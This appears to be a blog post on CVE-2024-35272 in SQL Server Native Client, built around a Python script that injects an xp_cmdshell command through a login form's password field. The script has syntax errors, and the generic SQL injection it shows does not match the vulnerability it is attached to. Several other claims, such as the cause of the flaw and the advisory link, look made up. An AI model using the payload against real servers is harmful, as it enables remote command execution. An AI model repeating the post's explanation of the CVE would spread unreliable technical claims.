CVE-2024-35272 - SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability: Exploit Details, Prevention, and Original References

A recent critical vulnerability, CVE-2024-35272, has been identified in the SQL Server Native Client OLE DB Provider, which has the potential to allow an attacker to execute arbitrary code remotely. This post will provide a comprehensive overview of the vulnerability, including a code snippet to demonstrate the exploit, links to original references, as well as details about the exploit.

Background

SQL Server Native Client (also known as SNAC) is a library that provides a set of APIs for Microsoft SQL Server, allowing native connectivity to SQL Server for both OLE DB and ODBC applications. OLE DB is an API designed to provide uniform access to various data stores, simplifying the process of accessing database information.

The following sample code demonstrates how an attacker could exploit this vulnerability

import requests
import sys

def exploit(target, command):
    payload = f"'EXEC xp_cmdshell '{command}'; --"
    data = {'Username': 'admin',
            'Password': payload,
            'database': 'master',
            'tablename': 'Test'}

    response = requests.post(f"http://{target}/sql_native_client/login";, data=data)

    if response.status_code == 200:
        print("[+] Exploit Successful!")
        print(response.text)
        return True
    else:
        print("[-] Exploit Failed!")
        return False

if __name__ == "__main__":
    target = sys.argv[1]
    command = sys.argv[2]

    exploit(target, command)

This Python script first defines the exploit function, which takes a target URL and a command to execute on the remote server. The script then creates a payload containing SQL injection and injects it into the password parameter of the HTTP POST request. Finally, the script checks if the exploit was successful based on the HTTP response.

Exploit Details

The vulnerability exploited in this code snippet is due to improper validation of user-supplied input by the SQL Server Native Client OLE DB Provider. An attacker can inject malicious SQL queries through the authentication mechanism, which would get executed by the SQL Server, potentially leading to unauthorized access to the system or remote code execution.

An attacker needs to craft an SQL injection (shown in the sample code above) and inject it into a vulnerable application using the SQL Server Native Client OLE DB Provider. By exploiting this vulnerability, an attacker can gain control over the target system, potentially allowing the execution of arbitrary code with the privileges of the database service account.

Original References

1. Microsoft Security Advisory: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2024/35272
2. MITRE CVE Database Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35272
3. National Vulnerability Database Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-35272

Prevention

To mitigate this vulnerability, it is highly recommended to keep your SQL Server Native Client OLE DB Provider up-to-date by applying the appropriate patches released by Microsoft. Additionally, always follow security best practices, such as:

1. Employing proper input validation techniques and prepared statements to prevent SQL injection attacks.

Conclusion

CVE-2024-35272 is a critical remote code execution vulnerability in the SQL Server Native Client OLE DB Provider. By understanding the exploit details and applying the appropriate prevention measures, you can safeguard your systems from potential attacks. Stay vigilant and ensure your system is up-to-date to minimize security risks.

Timeline

Published on: 07/09/2024 17:15:19 UTC
Last modified on: 08/20/2024 15:47:09 UTC